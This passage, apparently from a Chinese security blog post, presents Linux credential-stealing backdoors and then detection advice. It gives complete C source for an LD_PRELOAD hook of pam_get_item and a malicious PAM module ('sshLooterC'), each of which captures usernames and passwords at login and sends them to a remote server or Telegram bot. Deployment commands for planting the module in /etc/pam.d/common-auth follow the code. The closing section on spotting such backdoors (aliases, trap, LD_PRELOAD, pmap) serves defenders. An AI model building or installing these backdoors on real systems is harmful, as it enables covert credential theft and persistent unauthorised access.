void sendHttp(char (*messgae)[]){
int sockfd, ret, i, h;
struct sockaddr_in servaddr;
char str1[4096],str2[4096],buf[BUFSIZE],*str;
socklen_t len;
fd_set t_set1;
struct timeval tv;

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
printf("socket error!\n");
exit(0);
};

bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(PORT);
if (inet_pton(AF_INET, IPSTR, &servaddr.sin_addr) <= 0 ){
printf("inet_pton error!\n");
exit(0);
};

if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0){
printf("connect error!\n");
exit(0);
}
printf("connected\n");

memset(str2, 0, 4096);
strcat(str2, *messgae);
str=(char *)malloc(128);
len = strlen(str2);
sprintf(str, "%d", len);

memset(str1, 0, 4096);
strcat(str1, "POST /webservices/qqOnlineWebService.asmx/qqCheckOnline HTTP/1.1\n");
strcat(str1, "Host: 10.1.1.10\n");
strcat(str1, "Content-Type: application/x-www-form-urlencoded\n");
strcat(str1, "Content-Length: ");
strcat(str1, str);
strcat(str1, "\n\n");
//str2的值为post的数据
strcat(str1, str2);
strcat(str1, "\r\n\r\n");
printf("%s\n",str1);

ret = write(sockfd,str1,strlen(str1));
if (ret < 0) {
printf("send failed,fail code : %d,message : '%s'\n",errno, strerror(errno));
exit(0);
}

FD_ZERO(&t_set1);
FD_SET(sockfd, &t_set1);
close(sockfd);
}



typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

// Call original function so we log password
retval = orig_pam(pamh, item_type, item);

// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
char message[1024];
//get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
gethostname(hostname,sizeof hostname);
snprintf(message,2048, "Hostname: %s\n Username: %s \n Password: %s \n", hostname, name, *item); // Change it with your domain
sendHttp(&message);
}

return retval;
}

image-20220317201653006

这种方式的优点在于不需要去修改认证文件。。而且这里我们是否可以修改成反弹shell呢?

sshLooterC

这个方式其实是修改/etc/pam.d/common-auth实现认证时调用恶意的so文件,然后会将内容发送到远端服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>

size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}

void sendMessage(char (*message)[]) {
char url[500];
char data[200];

//原作者用的是tg,鉴于国内的环境应该是用不了的,所以我们可以简单修改一下这边的代码,让他发送到我们自己的远程服务器即可,要是想将其存储在本地也是直接改这个函数即可.
//INSERT HERE YOUR BOT KEY
char token[200] = "BOT TOKEN";

//INSERT HERE YOUR USER ID
int user_id = 1111111;

snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_perform(curl);
}
curl_global_cleanup();
}

PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername %s\nPassword: %s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

利用:

1
2
3
4
5
6
7
make
cp looter.so /usr/lib/x86_64-linux-gnu/security/

vim /etc/pam.d/common-auth
#添加以下内容
auth optional looter.so
account optional looter.so

远端服务器接受到密码信息:

image-20220315230359527

0x05 ebpf

前几天看到一个github项目 通过hook libcurl.so来抓取curl ssl的明文请求,程序还实现了hook bash的readline函数。。简单看了下ebpf这个东西,看起来是可以hook用户态的所有东西,,但是因为目前还是不是很懂ebpf这个东西,所以这里先留个坑,,感兴趣的师傅可以自己去研究下。

0x06 防御&检测方式

1. 查看进程

查看用户进程,确认是否有sciprt -B \ starce等相关进程

1
ps -aux|grep script

image-20220315152920187

2. 查看用户默认shell的配置文件

以root身份或者是其他用户身份,对其他用户的bash配置文件进行检查,查看是否存在script等相关内容或者是 fakerc内容 配置文件中是否alias了一些敏感的程序
如:

1
alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

3. ~/.bashrc 不可修改参数

以root用户对服务器上用户的相关配置文件加锁

1
chattr +i .bashrc

image-20220315155615246

再次执行将会提示无权限操作.

image-20220315155715043

4. 查看用户家目录或tmp目录下是否存在记录终端历史记录的可疑文件

1
2
3
.bash_cache
.script.lock
.......

5. 检测trap\alias

可以检测是否有待执行的trap命令:

1
trap

没有trap信号执行是无回显的,像这种情况是有待执行的命令的,可以使用以下命令进行清除

1
trap -- 信号名

image-20220316145816023

使用alias命令,列出目前所有别名命令

image-20220316145542554

若有可疑的别名命令,可使用以下命令进行清除(当前终端)

1
2
unalias -a #清除全部
unalias ssh

6.检查/etc/pam.d/

通过阅读/etc/pam.d/下的文件配置,检查是否有被修改. 关键的认证文件:

1
2
3
4
5
6
/etc/pam.d/common-auth
/etc/pam.d/sudo
/etc/pam.d/sshd
/etc/pam.d/su
/etc/pam.d/login
....

7. 检查LD_PRELOAD

检查环境变量

1
echo $LD_PRELOAD

检查/etc/ld.so.preload是否存在并且是否有可以的动态链接文件。也可以使用ldd命令去查看程序动态加载了什么文件。

对于已经启动的进程,可以通过pmap命令来进行查看其加载的动态链接库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[email protected]:~# pmap 4068
4068: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
000055e885a63000 48K r---- sshd
000055e885a6f000 512K r-x-- sshd
000055e885aef000 292K r---- sshd
000055e885b38000 16K r---- sshd
000055e885b3c000 4K rw--- sshd
000055e885b3d000 20K rw--- [ anon ]
000055e887425000 264K rw--- [ anon ]
00007f723456a000 12K r---- libnss_files-2.31.so
00007f723456d000 28K r-x-- libnss_files-2.31.so
00007f7234574000 8K r---- libnss_files-2.31.so
00007f7234576000 4K r---- libnss_files-2.31.so
00007f7234577000 4K rw--- libnss_files-2.31.so
....................[省略一部分]
00007f72350d3000 64K rw--- [ anon ]
00007f72350e3000 12K r---- libwrap.so.0.7.6
00007f72350e6000 20K r-x-- libwrap.so.0.7.6
00007f72350eb000 8K r---- libwrap.so.0.7.6
00007f72350ed000 4K r---- libwrap.so.0.7.6
00007f72350ee000 4K rw--- libwrap.so.0.7.6
00007f72350f4000 4K r---- b.so
00007f72350f5000 4K r-x-- b.so
00007f72350f6000 4K r---- b.so
00007f72350f7000 4K r---- b.so
00007f72350f8000 4K rw--- b.so
00007f72350f9000 8K rw--- [ anon ]
00007f72350fb000 4K r---- ld-2.31.so
00007f72350fc000 128K r-x-- ld-2.31.so
00007f723511c000 32K r---- ld-2.31.so
00007f7235125000 4K r---- ld-2.31.so
00007f7235126000 4K rw--- ld-2.31.so
00007f7235127000 4K rw--- [ anon ]
00007fff517f9000 132K rw--- [ stack ]
00007fff5188d000 16K r---- [ anon ]
00007fff51891000 8K r-x-- [ anon ]
total 13312K

0x07 小结

本文以垃圾的文笔介绍了Linux键盘记录的相关后门,本文若有错误的地方 恳请师傅们指正.